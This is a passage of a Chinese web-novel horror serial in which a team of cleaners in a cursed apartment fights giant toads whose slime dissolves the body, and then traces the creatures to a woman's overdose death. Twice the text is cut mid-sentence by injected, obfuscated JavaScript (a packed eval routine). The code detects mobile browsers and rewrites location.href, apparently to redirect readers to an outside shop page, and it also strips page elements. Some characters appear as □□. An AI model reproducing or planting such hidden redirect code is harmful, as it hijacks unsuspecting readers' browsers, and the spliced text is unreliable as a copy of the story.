周小满感觉到一个冰凉、黏腻、颗粒感的粗糙表面贴在她的工作服上,后颈的位置,缓缓移动。 周小满的脊背瞬间僵直,她像一个木偶一样嘎吱嘎吱僵硬地转动脖子,一寸一寸回过头。 一道闪电划破夜空。 惨白的光里,周小满看见自己身后不过一尺远的硕大的蟾蜍脸。 两只鼓胀的眼睛有拳头那么大,表面上蒙着一层透明的薄膜,在闪电的光亮下反射出诡异的虹彩。 这蟾蜍太大了,比人高,周小满毫不怀疑它一张嘴可以把自己整个吞下去。 就在这时,里屋传来了小女孩的尖叫声,接着就是一连串光脚踩在水泥地上的噔噔噔的声音,接着,就是衣柜门被拉开又关上。 小女孩躲起来了。 这只蟾蜍本来并没有在盯着周小满,它看不见静止的东西,但是被里屋小女孩的动静给吸引了注意力。 它一扭头,周小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587138|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满抓住机会,猛地扭身,整个人几乎是弹射出去的。 鞋底在积水里打了个滑,撞翻了水桶,桶里的污水哗啦啦泼洒了一地,姜栩白干了。 但她根本顾不上道歉,连滚带爬往反方向窜了好几米远,一直退到墙根地下退无可退的位置,一只手撑着墙壁,另一只手抓住刚才清理蟾蜍卵的刮刀,死死攥在手里。 季容的声音在黑暗中响起,压抑着紧张的呼吸:“小满?” “蟾蜍!”周小满的声音又尖又颤,“这么大一只蟾蜍!” 又是一道闪电劈过,照亮了整个客厅。 姜栩顺着闪电的光看过去。 刚才周小满站的位置后方,蹲着一只足有一人高的蟾蜍,鼓着腮帮子,喉囊一鼓一缩,发出低沉的咕咕声。 雨越下越大,外面的闪电一阵紧似一阵,把整个空间照得明明灭灭,接着微薄的灯光,姜栩看见那只蟾蜍身后,还有第二只蟾蜍,就趴在沙发背上,显得更加高大。 黑暗中,似乎还有第三只,第四只的影子。 起码四只。 它们鼓胀的眼睛在光线里闪烁着光泽,薄膜黏腻腻的。 林知远显然也看见了这幅景象,他离其中一只蟾蜍超级近,忍不住大声呼吸了一下。 结果,那只蟾蜍忽然腾起肥硕的身体,直接砸向林知远。 林知远发出一声变了调的惊叫,好在大家都接受过专业的训练,即便胆子小,也不会出现面对恐惧双腿瘫软的情况。 他本能地往旁边一滚,那只蟾蜍就落在刚才他蹲着的位置。 所有的蟾蜍都开始活动,咕咕声此起彼伏,好像闯进了夏天的荷塘。 耳边都是噗通噗通积水的声音,两个人的惊叫以及粗重的喘息声。 周小满在前面跑啊跑,蟾蜍的舌头在后面飞啊飞。 跑着跑着,周小满和林知远在黑暗中似乎撞到一起去了,两个人竞赛一样地飙高音,整个客厅沸腾了起来。 黑暗中,季容也难以准确地发布任务。 姜栩来不及细想,她抓住方才扫水的扫帚,扫帚杆是一根空心铁管,虽然很轻,但聊胜于无。 她把扫帚头拔掉,剩下一根铁管,接着竖起耳朵,试图从一片混乱中分辨□□的方位,可惜太黑了,难以分清敌我。 又一道闪电。 姜栩看见周小满正挥舞着一把刮刀跟一只□□对峙。 那蟾蜍的舌头弹射出来,像一条粉红色的鞭子,啪地打在刮刀上,周小满整个人都被震得后退了半步。 林知远手中握着一根木棒,看起来像是从拖把上拆下来的,抡圆了砸在一只蟾蜍的背上,那□□纹丝不动,倒是木棒反弹回来差点敲到他自己的脑袋。 姜栩面前那只蟾蜍的喉囊鼓了一下。 她立刻往旁边一闪,粉红色的黏腻舌头擦着她的耳侧飞过去,啪地打在身后的墙上,墙皮都给粘掉了一块。 舌头缩回去的速度比弹出来的速度更快,在空中甩过一道弧线,擦过姜栩的面罩,给姜栩恶心得顺手拿起一边的抹布擦了好几下,才把眼前的粘液给擦干净。 5. 【36栋304】动与不动都是问题 季容的声音从房间的另一端传来:“先找掩体,不要硬扛。” 姜栩这个人能正面硬刚从来绝不闪躲,季容话音未落,她已经高高抡起空心铁管,尽全力砸在那只蟾蜍的脑袋上。 论理,空心铁管的攻击力必然不如拖把杆子,好歹是实心的。 但姜栩臂力惊人,铁管砸在□□头上,姜栩眼见着蟾蜍脑袋上的脓包被砸破,脓液四溅,恶心得姜栩一阵干呕,但手上不停,旋风一样接连攻击。 那只蟾蜍的脑袋被打得偏过去,虽然说还是根本不能造成一点伤害,但也拖慢了蟾蜍进攻的进程。 且她这么一动,原本攻击周小满和林知远的那两只□□也闻风而动,往她这边聚拢过来。 林知远和周小满总算能喘一口气,朝着姜栩投去感激的目光。 季容原本站在角落,离得最远,置身事外,但见自己队伍中的新人被围攻,当即拆下一条凳子腿,从房间的斜对角冲来,三两下就将其中一只蟾蜍逼退到墙角。 她的打法明显更有经验,不打头,专门打□□起跳前的支撑腿,就是让它跳不起来。 然而也只能拖慢节奏,并不能杀伤。 这些蟾蜍的皮肉好似橡胶做的,打上去闷声不响。 姜栩可算体会到什么叫一拳砸进棉花里,有再大的力气都使不出来。 闪电熄灭,黑暗重新灌满了整个房间。 姜栩在黑暗中听见林知远闷哼了一声,然后是重重撞在墙上的声音。 又一道闪电亮起,林知远捂着肩膀靠在墙上,一只蟾蜍正堪堪收回它的舌头。 那舌头表面覆盖一层亮晶晶的粘液,舔过的地方留下一道明显的湿亮亮的痕迹,好像鼻涕干在工作服上,又好像是蜗牛爬过的痕迹。 林知远哎呀一声。 应该不仅仅是恶心那么简单。 林知远隔着工作服,用非常大的力气抓挠被舔过的那块地方,如果不是还有一点残存的理智,姜栩觉得他都想把手套摘下来直接挠皮肤。 “痒,好痒。” “我也是。”一旁的周小满也在反手抓挠自己脖子的位置,她这位置不好,抓起来也不方便,只见她整个人猴子一样地缩起来,声音里都带了哭腔:“我好难受,这块皮肤特别痒,我是不是被感染了。” 姜栩心里一凛,但来不及分神管他,因为她面前那只蟾蜍又弹出了舌头。 她侧身躲开,脚底在积水中滑了一下,差点摔倒,手臂下意识地一撑,手掌拍在了积水中。 那些在浅水里游动的蝌蚪受惊炸开,密密麻麻地撞在她的手套上,有几条顺着袖口和手套之间的缝隙钻了进去,凉冰冰滑溜溜的身体贴着她的手腕蠕动。 姜栩猛地甩手,把蝌蚪甩出去,忽然意识到这些蟾蜍就盯着自己和周小满、林知远攻击,而很少攻击季容。 主要是她不太爱动,大部分的时间都站在那里,除了方才帮自己结尾才动了一下,但她动作快,几乎看不清楚,动作幅度也不大,蟾蜍们很快会被动作更大的他们三个吸引。 蟾蜍看不见不动的东西。 倒是很符合生物学原理。 “别动!”姜栩的声音穿透雨声和雷声,“它们看不见不动的东西!” 说着,她自己停滞在原地,保持着弯着腰,一只手悬在半空的攻击姿势,格外别扭。 周小满和林知远要克服内心的恐惧,索性闭上眼睛,立刻也不敢动了。 林知远刚从地上爬起来一半,就这么维持着一个半蹲的姿势。 黑暗中一切安静下来。 唯有蟾蜍低沉的咕咕声。 姜栩能听见自己的心跳,咚咚咚地敲在胸腔里,她甚至害怕心跳声太大会被蟾蜍听见。 就这么僵持了大概十几秒。 那些蟾蜍确实不动了。它们的眼球迟钝地转动着,喉囊一鼓一鼓。 它们开始慢慢在房间里爬动,仿佛失去了目标。 其中有一只从周小满脚边慢吞吞爬过去,它几乎擦过了周小满的身子,周小满死死咬住嘴唇,硬是没发出一点声音。 这么看来,只要他们四个能保持不动的话,就可以在这里干耗着,看谁先耗死谁。 但是。 姜栩感到脚踝上有什么东西在东。 湿湿的,滑滑的,见她不动,得寸进尺,一点一点往上蹭。 姜栩不敢低头,挪动眼珠子往下看,能看见脚下一片模糊的黑暗。 那些蝌蚪正争先恐后往她身上爬,不仅是她,其他三人也都在面临着问题。 这些蝌蚪有些只有一条小尾巴,有些已经长出了小小的后腿,同时还拖着小尾巴,属于变态发育的初期。 在冰冷的积水中,他们四个是温暖的热源。 姜栩心里倒抽一口凉气,意识到他们面临一个悖论。 动了会被蟾蜍攻击,不动会被蝌蚪包围。 这些东西正一点点往上爬,顺着裤腿,寻找任何可以钻进衣服的缝隙。 姜栩能感觉到最前面的几只已经爬过了脚踝,正在往小腿上蹭,那种感觉让她胃里直翻腾。 又一道闪电。 周小满强忍着不动,林知远那个动作一直保持想必有些困难,且他实在痒得有点受不了,再加上蝌蚪的骚扰,终于忍不住甩腿,想把蝌蚪甩下去。 这一瞬间,几只蟾蜍的视线被吸引,扭过身子去看,嗉囊一鼓。 就在那舌头就要飞出去攻击林知远的时候,一个响亮的声音在房间的空旷处响起。 是一只空易拉罐砸在墙上。 蟾蜍的反应非常快,那只易拉罐甚至还没有落到地上,就被其中一只蟾蜍一张嘴,飞出舌头卷进嘴里。 或许是意识到这玩意不能吃,它又把易拉罐吐出来,发出愤怒的呱呱声。 但看起来声音吸引是有用的,这些蟾蜍虽然生气,可是看不见不动的东西。 姜栩两只手一手握着一个从垃圾堆里翻出来的空易拉罐,趁着蟾蜍被吸引了注意力这短暂的空隙,疯狂甩腿,把蝌蚪甩出去。 等□□们反应过来之后,她再出其不意扔出另一只。 季容也一下子明白了姜栩的用意,也有手边的垃圾和姜栩打配合。 四个人就这么在黑暗中进行着一种诡异的游戏。 扔东西,趁机跑两步,甩掉蝌蚪们,再僵持住。 等蟾蜍们的舌头甩过去,再扔东西,再跑两步。 蝌蚪在积水中被搅得到处都是,有些被甩到了墙上,有些被踩在脚下。 姜栩感觉到一种踩着珍珠奶茶里的珍珠一样的奇妙触感。 这个小招数暂时解决了必须动又不能动的问题。 但是黑暗让四人配合 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水花在姜栩的脚下炸开,其他□□的眼球开始转动,重新锁定目标,姜栩已经来不及管那么多。 林知远距离被吞吃只剩下不到两米的距离。 她追上被拖行的林知远,整个人纵身越过去,双手握住刮刀,用尽全身力气朝着那条绷紧的舌头狠狠割下去。 余光看见两条舌头在自己身侧交错,而一个黑影一闪而过,挡住了两只蟾蜍的攻击,姜栩平安无事。 是季容帮她逃过一劫。 刮刀的刀锋切进□□的舌头,好像切进一块冻肉,黏腻而滞涩。 姜栩咬着牙,手腕一转,刀刃横向撕扯,那条舌头终于在她面前断成了两截。 粉红色的断口处涌出一股浓稠的透明黏液,泼了她一手。 蟾蜍发出一声低沉的惨嚎,缩回了残余的半截舌头,庞大的身体往后弹开。 林知远的脚踝上还缠着那截断舌,像一条死蛇一样还在微微抽搐。姜栩来不及帮他解,一把抓住他的胳膊,把他从水里拽起来。 周小满和季容都被逼到了不同的角落,而她和林知远的背后就是卧室。 来不及多想。 她迅速拖着林知远躲进卧室。 卧室靠门这一侧墙壁上打着一大排木衣柜,那个小女孩想来就躲在这里。 林知远都吓得不会动了。 姜栩揽着林知远的肩膀,两个人踉踉跄跄地冲向衣柜。 她一把拉开柜门,先把林知远塞进去,然后自己紧跟着钻了进去,反手把柜门拉上。 衣柜容量很大,弥漫着老式樟脑丸的味道,外面的声音一下子被隔绝了大半。 姜栩的后背抵着衣柜的内壁,大口大口地喘气。 林知远靠在她旁边的角落里,浑身都在抖。 危险似乎暂时告一段落,然而衣柜毕竟是一个密闭空间。 密闭空间里的黑暗总归让人压抑。 林知远缓过神来,点亮了手腕上一个小小的射灯,把灯光调暗,仅仅能照亮这一方小天地。 他举着灯上下左右看了检查一阵,见只是一个普普通通的衣柜,里面没什么蟾蜍蝌蚪之类的,才放下心来。 这口气还没喘出去,就听见姜栩紧张的声音。 “你看,这是什么?” 6. 【36栋304】融化的人 林知远马上把灯照过去。 在衣柜里面,靠近底部的位置,木板表面布满了抓挠的痕迹。 姜栩伸手比量了一下。 她的手不算大,但成年人的手掌贴上去,那些抓痕之间的宽度比她手指之间的宽度细很多。 这些痕迹间距很小,那么留下它们的人手应当也不大,很可能是小孩子。 时间在黑暗中变得黏稠,无法计量。 大约过了半个小时,衣柜的缝隙里透进来一丝光。 一缕绿色幽暗的光芒穿透暗夜,以往姜栩觉得这引魂灯的颜色怪怪的,现在倒是觉得亲切。 姜栩把衣柜门推开一条缝,看见门楣上那盏六角灯笼又燃了起来,绿莹莹的光像一滩死水里倒映的鬼火,勉强照亮了客厅的轮廓。 窗外的雨不知道什么时候停了,雷声也停了,但天色依旧是黑沉沉的,分不清是白天还是夜晚。 季容手中握着凳子腿,还保持着战斗姿势,像是老母鸡保护小鸡仔一样把周小满挡在自己身后。 姜栩和林知远从衣柜里爬出来。 脚刚落地,隔壁的衣柜门也“吱呀”一声打开了,那个穿白色睡衣的小姑娘小心翼翼从里面走出来。 她的表情很平静,甚至可以说是默然,就像是早就习惯了这些状况一样,好像刚才的吵吵闹闹你死我活都同她没有关系。 她赤着脚踩在积水里,一点都不觉得恶心,径直走回刚才看电视的位置。 她所在的卧室是主卧,是一家人休息的地方,床旁边摆着一个单人沙发,对面一个大脑袋电视机。 小女孩缩在沙发里,抱着膝盖,下巴搁在膝盖上,眼睛盯着电视屏幕,继续看电视。 电视再次亮起来,继续播放方才的新闻频道。 “……关于红鼎轩火锅城事件的后续报道,涉事男童家长已向店家道歉,双方达成和解协议,具体赔偿金额未对外公布……” 周小满看她这幅样子,第一个沉不住气,嘶了一声。 她一只手正拼命抓到自己的后脖颈。 特别特别痒。 如果不是公司有要求,工作环境绝对不允许脱下工作服裸露皮肤,她现在真的很想一把掀开衣服,狠狠挠一挠脖子才爽快。 她大步上前:“你早就知道会发生这些是不是?但是你什么都不告诉我们,遇到危险你自己跑了,你觉得你这么做对吗!” 小姑娘没有反应。电视的光映在她脸上,一闪一闪的。 周小满又往前走了一步,伸手想去抓她的肩膀,被季容一个眼神制止了。 季容走到床边,半蹲下来,和小姑娘平视。她的声音依旧温和,听不出任何责备:“小朋友,那些蟾蜍是什么情况,怎么出现的你知道吗?又是怎么消失的呢?” 在季容的视线里,这些蟾蜍是忽然出现的,然后又是在雷声消歇的一片黑暗中忽然消失。 她比其他三人要有经验一些,知道怨境的产生来源于人内心的怨怼,往往有迹可循。 目前看来,这些蟾蜍就是这个怨境最危险的存在,如果找到蟾蜍出现的规律,也许他们就会更有准备。 小姑娘的嘴唇动了动,像是要说什么。 季容耐心地等着。 “我不知道。”小女孩低声说,她神情似乎出现了一丝愧疚,“我真的不知道,这些东西隔一段时间就会出现。” 说到这里,小女孩露出了非常痛苦的表情。 “你们真的什么都不要问我了,我不知道,我要等妈妈回来,妈妈说一定会回来的。” 小女孩一边说一边摇头,浑身哆嗦,惊恐地瞪大了双眼。 季容沉默了两秒,站起身来,对三个人做了一个手势,意思是不要再问了。 四人退到卧室门口,季容压低声音说:“时间有限,在上一次黑暗到来之前,我们也不知道下一次黑暗什么时候到,必须抓紧搜集证据,你们有什么发现?” 几个人交流了一下信息,姜栩说了一下关于小女孩的画的思考。 “这小女孩最多十来岁,任务清单里没说还有小女孩的事?” 季容摇摇头:“只说是女子服药过量身亡,甚至没提有个女儿。” “会不会就是这个小丫头。” “这小丫头远远不到称女子的年龄吧。” 四个人七嘴八舌,也没讨论出什么所以然,周小满和林知远一边讨论一边上下左右地抓挠。 林知远疯狂抓挠脚腕,周小满疯狂抓挠后脖颈。 “我觉得那蟾蜍有毒。” “什么毒这么厉害,都能渗透进工作服。” 林知远都要把脚腕那块布挠烂了,但就是挠不到肉上,急得他直跺脚。 “特别痒。”他忍不住说了一句,声音明显焦躁,“抓又抓不透,不抓又受不了。” 周小满也难受得要死,她只能反手挠脖子。 一边挠一边接着自己刚才搜索的地方接着清理翻找。 季容在厨房里翻找了一圈,台面上堆满了落灰的杂物,水池里的碗筷不知道泡了多久,水面浮着一层油污和霉菌。 她一样一样地检查,动作干净利落,不放过任何一个角落。 厨房的角落有一个小台面,上面放着一个水杯。 普通的玻璃杯,杯底还残留着半杯干涸的水渍,杯壁上有一圈白色的水垢。水杯旁边,是一个药瓶。 季容拿起那个药瓶,就着引魂灯幽暗的绿光仔细查看。 瓶身是棕色的玻璃瓶,标准的小号药瓶,和姜栩在那半幅残画上看到的瓶子轮廓几乎一模一样。 她拧开瓶盖往里看了一眼,空的。她把瓶子翻过来看瓶底,又转动瓶身看了一圈,瓶身上贴标签的位置只剩下一层发黄的胶痕,标签被人撕掉了。 她正准备继续翻找别的角落,忽然听见卫生间里传来周小满的声音。 “队长,你们快过来看。” 季容和姜栩同时放下手里的东西走向卫生间,林知远也从卧室里探出头来。 卫生间非常狭小,一个人站进去都嫌挤。周小满蹲在马桶旁边,一只手举着手电,照着垃圾桶。 这个垃圾桶就是老式的塑料桶,因为常年使用,所以桶壁比较脏,里面原本应该也是有水的,但是周小满平时叽叽喳喳,干起活来一点不含糊,已经把里面的水倒了。 里面的垃圾也已经分门别类处理好,只有一个东西,摊开在地上,因为长时间被水泡着,已经非常脏,但还是 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姜栩拿起内裤自己看,虽然说已经被泡了很久,血液有点发黑,但是她也是女人,对经血很熟悉,这个颜色和经血的颜色不太一样:“有点红啊这个,像鲜血来的。” “那这是……”周小满的话还没问完,身后的林知远忽然发出一声闷哼。 因为卫生间太小,所以他们四个呈现一个叠罗汉的姿势。 周小满蹲在里面,抬头跟对面三人说话。 姜栩和季容则弯着腰以及半蹲着,而林知远在最后面,在两个人脑袋的缝隙中往里看,手臂撑着膝盖。 姜栩一回头,发现林知远塌在了地上。 他像是突然失去了对身体的掌控,膝盖先着了地,然后是整个人瘫坐在积水中,两条腿以一种不自然的角度压在身下。 他试图用手撑地站起来,胳膊抖得厉害,刚撑起一半就又软了下去。 “我的腿,”林知远的声音发虚,“我的腿站不起来了。” 姜栩看着他的腿,不用摸都知道发生了什么。 太明显了,那条腿跟没有骨头一样软塌塌的。 工作服本来比较贴身,现在更是贴着林知远的小腿一直萎缩,变成细细长长的一条,好像积水中扭动的蝌蚪尾巴。 与此同时,正在说话的周小满也发出了一声奇怪的声音。 她还保持着蹲在垃圾桶旁边的姿势,但是脖子已经失去了支撑力,季容眼睁睁看着她的脑袋往后垂下去,脊椎失去力量,后脑勺慢慢慢慢贴在后背上,带得整个上半身都往后弯折。 周小满的脖子失去支撑力,好像所有的肌肉、所有的骨骼都在一瞬间被溶解了一样。 她已经说不出任何话,喉咙里发出嘶嘶的惊恐的响声。 脖子变成了软塌塌的一根管,脑袋挂在上面晃来晃去。 引魂灯跳跃了几下灭了。 雷声从远处滚滚而来,黑暗从墙角的地方开始扩散,这一次扩散得特别明显,也有可能是因为他们已经有了准备。 但是这一次能行动的,就只有姜栩和季容两个人了。 7. 【36栋304】拉大锯扯大锯 姜栩和季容两个人对视了一眼。 明明是第一次一起出任务,却默契得好像出生入死了无数次一样。 两人各管一摊,季容一把捞起已经瘫软在地的林知远,架住他一条胳膊拖着他往衣柜的方向冲。 姜栩冲到周小满身边,小心地一只手托住她完全失去支撑的后脑勺,免得压迫气管导致她呼吸困难致死,只是手触到她后脑勺的时候,姜栩还是忍不住起了一身鸡皮疙瘩。 隔着工作服,已经能感觉到里面软塌塌的,像是海绵一样。 姜栩另一只手揽住周小满的腰,很轻松把她公主抱起来,快速往衣柜里冲。 按照他们为数不多的经验,似乎衣柜是个安全屋,只要苟住就是胜利。 衣柜门被猛地拉开。 季容先把林知远塞了进去,然后接过周小满,把两个已经不成人形的队友并排靠在衣柜内壁上。 那个小女孩不在这个柜子里,应该是钻进了另一侧的隔层。 正当季容招呼姜栩让她先进的时候,却迟疑了。 衣柜不大,塞进两个成年人已经是极限,而且一阵咕咕声从身后传来,两人也来不及挤一挤进去了。 本来季容在柜子和姜栩之间,但是这一刻,她迅速关上衣柜门,上前一步,挡在姜栩前面。 她是队长,没有躲在队友身后的道理。 姜栩歪着脑袋看看季容的后脑勺,其实季容比她还要矮半个头,可是保护她一点也不含糊,给人一种特别可靠的感觉。 这种可靠是指,你一定会死在她后面。 蟾蜍从客厅的黑暗处传来,透过房门,能看见黑洞洞的客厅,你可以猜测着,预感着,那四只蟾蜍肥硕庞大的身躯慢慢出现。 他们会先在黑暗中显出一个轮廓,然后慢慢在闪电中展现全貌。 咕咕的叫声由远及近,你知道它们离门口很近了,非常具有压迫感。 近了,如同姜栩猜想的那样,高大的黑影出现在门口。 那种压迫感就算是季容,也不禁后退了半步,但是依然牢牢挡在姜栩面前。 闪电破空划过,照亮了逼仄的房间。 虽然早就有心理准备,但是看清它们的那一刻姜栩还是忍不住在心里骂了声大爷。 短短的半个小时,这帮蟾蜍进化了? 原本只是两只鼓胀的眼睛和一张恶心的阔嘴,就这一张嘴已经很难对付了,但是现在四只蟾蜍的皮肤上出现了无数张嘴,而且都是人类的嘴。 薄唇的、有厚唇的、有涂着口红的、有干裂流血的、有露出满口黄牙的、也有牙齿全掉光了只剩暗红色牙床的。 那些嘴唇一张一合,上下翕动,发出含混不清的零碎音节。 看到两个人站在衣柜前,蟾蜍们似乎很兴奋,嘴里叽叽咕咕开始叫,而且是身上的所有嘴都开始叫,一张一合的,好像自己跟自己说话一样。 蟾蜍往前蹦了一步。 它宽大的身体挤过门框的时候会把皮肉往两边扯,然后“biu”地弹回来,于是它整个身体都暴露在姜栩眼中。 不光是多了好几张嘴,还有好几双手,从蟾蜍的身体和脖颈两侧,甚至是喉囊上长出来,同样也是人的胳膊,粗的细的长的短的老人的小孩的都有,张牙舞爪地伸展着,好似千手观音一般。 季容没有任何犹豫。 她甚至在那些□□还没有完全锁定目标之前就做出了判断。 “我负责吸引它们。” 话音落下的同时,她已经踩进了积水里,整个人像一只离弦的箭一样从衣柜前方弹射出去,速度快到姜栩的眼睛只捕捉到一条黑色的残影。 我靠。 姜栩想。 队长该不是短跑冠军来的? 季容的靴子在水面上踩出一串急促的水花,外面的闪电一闪一闪,房间里的光线一亮一暗,姜栩完全捕捉不到季容的方向,只能通过水声判断她离自己飞速远去。 那些蟾蜍被动态吸引了视线,弹出舌头去捕捉季容,就好像捉一只飞虫一样。 然而季容比飞虫的速度还要快,且方向不可捉摸,在雪亮的闪电的照耀下,姜栩看见她蹬着墙壁往上蹿了两米的距离,然后像一只豹子一样扭身落地。 蟾蜍的舌头交错着,虽然已经很快,但是都只能落在她身后半寸的位置。 灾难始终慢她一步。 蟾蜍身上的嘴纷纷兴奋了起来,七嘴八舌地发出奇怪的声音,依稀能够辨认出:“这边!在这边!” “诶诶,往那去了。” 姜栩没有浪费季容为她争取的时间。 在季容吸引了所有□□注意力的同时,她就冲了出去,一个滑铲溜进厨房。 厨房有一套刀具,高高低低错落有致插在刀架上。 姜栩一把抽出最大的那把斩骨刀,又抄起一把细长的剔骨刀,两把刀握在手里,刀柄冰凉,入手沉甸甸的分量让她心定了定,接着转身冲回客厅。 季容一个急停变向,躲过两条同时弹射过来的石头。 她呼吸很稳,但是从姜栩的位置还是能看见她的肩头在起伏,这种高强度的闪避对体能消耗巨大,哪怕是季容,也不可能无限持续下去,时间不由人。 “队长!”姜栩喊了一声,把剔骨刀反手握紧,斩骨刀在另一只手里挽了个半圈。 季容无比信任她。 在这种情况下不分是不是新来的队友,只要是队友,就得无条件信任。 季容猛地一个侧身,脚底在地砖上划出一道弧形的波纹,整个人绕到了离姜栩最远的那只□□身后,故意一脚踹在蟾蜍的侧腹上。 那只蟾蜍发出一声混杂着人声的怒吼,庞大的身体笨拙地转了半圈,所有的人嘴都转向了季容。 它的侧面暴露给了姜栩。 姜栩的爆发力在这一刻展现得淋漓尽致,她飞快冲刺,冲到蟾蜍跟前时她侧身拧腰,胳膊抡圆了扎下去。 她对这些蟾蜍坚硬的外皮已经有了一个大致的了解,所以这一次就用了十成十的力气。 她本身臂力强大,之前在学校的时候和人掰手腕几乎百战百胜。 刀身在空中划出一道银灰色的弧线,带着破风的闷响,噗的一声扎进了蟾蜍的身体。 刀尖刺破皮肤之后遇到了一层韧劲十足的阻力,然后噗的一下穿透,整把刀没入了三分之一。 姜栩的臂力够大,这一刀又是助跑加旋转借了全身的力,所以扎得格外深。 蟾蜍的喉咙深处发出震耳欲聋的惨叫。 这惨叫初听还是蟾蜍的咕咕声,细听夹杂着各种人的尖叫声,仿佛它身上的嘴巴们共同嘶吼发出的叫啸声,男人女人老人小孩混杂一处,姜栩甚至看到那些嘴往外突,似乎是挣崩着要突围, 蟾蜍痛得剧烈扭动,脓水从刀口喷出,顺着皮肤流到地上,融进积水当中。 水中的蝌蚪们原本有些慵懒,忽然就变得活跃起来,甩动着自己肉乎乎的小尾巴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587141|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些已经长出后腿的蝌蚪开始往人的方向跳跃,一蹦一蹦地弹过来。 它们不再满足于在水里游,它们开始往人身上爬,往一切有温度的东西上吸附。 姜栩感觉到小腿上一阵密集的凉意。 她低头一看,十几条蝌蚪已经贴在了她的工服裤腿上,比上一次更多、更快、更黏。她抬脚甩了两下,那些东西纹丝不动。 它们的身体底下好像长出了吸盘一样的东西,牢牢地固定在布料表面,甩都甩不掉。 她来不及管了,季容已经在对付两只蟾蜍的夹击,腾不出手来。 其中一只蟾蜍头上长着一张特别显眼的人嘴,姜栩看着有点眼熟。 季容已经招架不住,姜栩跑过去来不及,于是手臂像鞭子一样甩出去,剔骨刀打着旋飞出去,正中那张嘴中央,扎进□□脖颈的位置。 而且因为力量巨大,那只蟾蜍飞出去,被尖刀钉在身后的墙壁上。 脓水顺着刀身往下淌,流过墙上那层发霉的绿漆,留下一道灰白色的痕迹。 蟾蜍们迅速找到了调转攻击的方向,它们意识到姜栩的危害性更强,于是三条舌头如同三支利剑朝姜栩的方向直射过来。 姜栩就地打滚躲避,但是相比于季容,她的速度落了下风,其中有一条舌头直奔她的面本而来,姜栩下意识抬手格挡,舌头啪地缠住了她的小臂。 隔着工服她都能感觉到那股黏腻的力道,她终于对林知远感同身受。 舌头猛地收紧,像一根钢缆一样勒进了她的手臂,巨大的拉力把她的身体往前猛地一拽。 姜栩的脚底在积水中打了滑,整个人被扯得踉跄了两步,这时她手中已经没有利刃,蟾蜍的舌头往回缩,把她往它的方向拖。 姜栩脚底蹬住地面,但完全无法延缓速度。 蟾蜍远远地满意地张开大嘴,嘴角几乎咧到了鼓胀的眼球下方,露出里面带着倒刺的肉红色口腔。 忽然一个人影从侧面撞了过来。 季容解决了另一边的缠斗,在一片混乱的客厅里辗转腾挪,推过来一张桌子,在姜栩的飞快移动当中挡在她和蟾蜍之间,架在蟾蜍的舌头上。 于是画面变成了很诡异的,蟾蜍和两人之间隔着一张桌子,蟾蜍的舌头从桌子下面穿过,牢牢缠着姜栩的左臂。 在姜栩滑过桌子下面的那一瞬间,季容抓住她的两只脚,并且用自己的一只脚蹬住桌子,开始拔河。 姜栩猛然一顿,停住了。 她面朝上,能感觉自己的身体在被抻长,一前一后开始晃动。 时而是蟾蜍占上风,时而是季容占上风。 季容把力的相互作用利用得很好。 她死也不松手,用尽全身力气蹬着桌子获得反作用力,然而桌子卡在蟾蜍身上。 所以蟾蜍越用力,桌子卡自己卡得越紧,它越疼。 蟾蜍的皮是很硬,但是也会怕疼啊。 蟾蜍不懂什么叫相互作用力,但见没办法把到嘴的鸭子卷进口中,开始尝试别的方法。 于是姜栩在两人的拉扯中腾空在桌下许久,忽然看见桌子下面黏着一个药瓶,从药瓶的颜色看,好像是满的。 她用仅剩的右手艰难地把药瓶扯下来,还没来得及揣进兜里,蟾蜍忽然松开了舌头试图换一种方法。 季容忽然失去对抗力,用力过猛,拉着姜栩两个人一起像保龄球一样在满是蝌蚪的浅水中一路翻滚,滚进卧室,撞到衣柜门上才停下来。 8. 【36栋304】 姜栩紧紧攥着左手手腕,她能清晰地感觉到刚刚接触过蟾蜍舌头上粘液的这部分身体在慢慢软化。 她松开手,看见手腕已经失去了弹性形变,留下深深的指引,跟一块橡皮泥一样。 锥心的刺痛传来。 原来这种软化还伴随着刺骨的疼痛,那林知远和周小满该有多疼,他们就在她身后。 想到这里,姜栩好像又恢复了一点动力。 如果她和季容死在这里,那么背后毫无反抗能力的队友是一定会死了,说不定会变成一只腻乎乎的硕大的蝌蚪。 姜栩大口大口地呼吸着,平息着手腕的剧痛。 而那四只蟾蜍跟不知道疲倦一样,很快调整过来,又朝着她们的方向逼近。 姜栩是真有点不耐烦了:“它们怎么不死啊。” “说明它们不是怨境的核心,只是怨境的主人心中怨念所化,只要怨境的主人不死,它们是不会死的。” “这屋里就咱们几个,除了这几个怪物,还有你,我,小林,小满,和那个小女孩。” 和那个小女孩! 姜栩一抬头,只见被自己钉在墙上的那只蟾蜍已经挣脱束缚,它在挣扎的时候用力过猛,导致肩膀上的皮肤都脱落了一大块,挂在连着的皮肤上。 姜栩的到从它皮肤上的嘴里扎进去,那张嘴姜栩看的时候就觉得眼熟,如今那张嘴已经撕裂开了,一侧嘴角裂开了一个血淋淋的大口子,仿佛含着一把刀,看起来也还是很眼熟。 嘴角旁边有一颗小小的痣。 姜栩一下子想起来,来的路上,周小满给她看新闻,报道女子服药过量致死的新闻记者,嘴角就有一颗这样的痣! 姜栩忽然意识到,或许这蟾蜍集合体身上的嘴和手并不是凭空生成的。 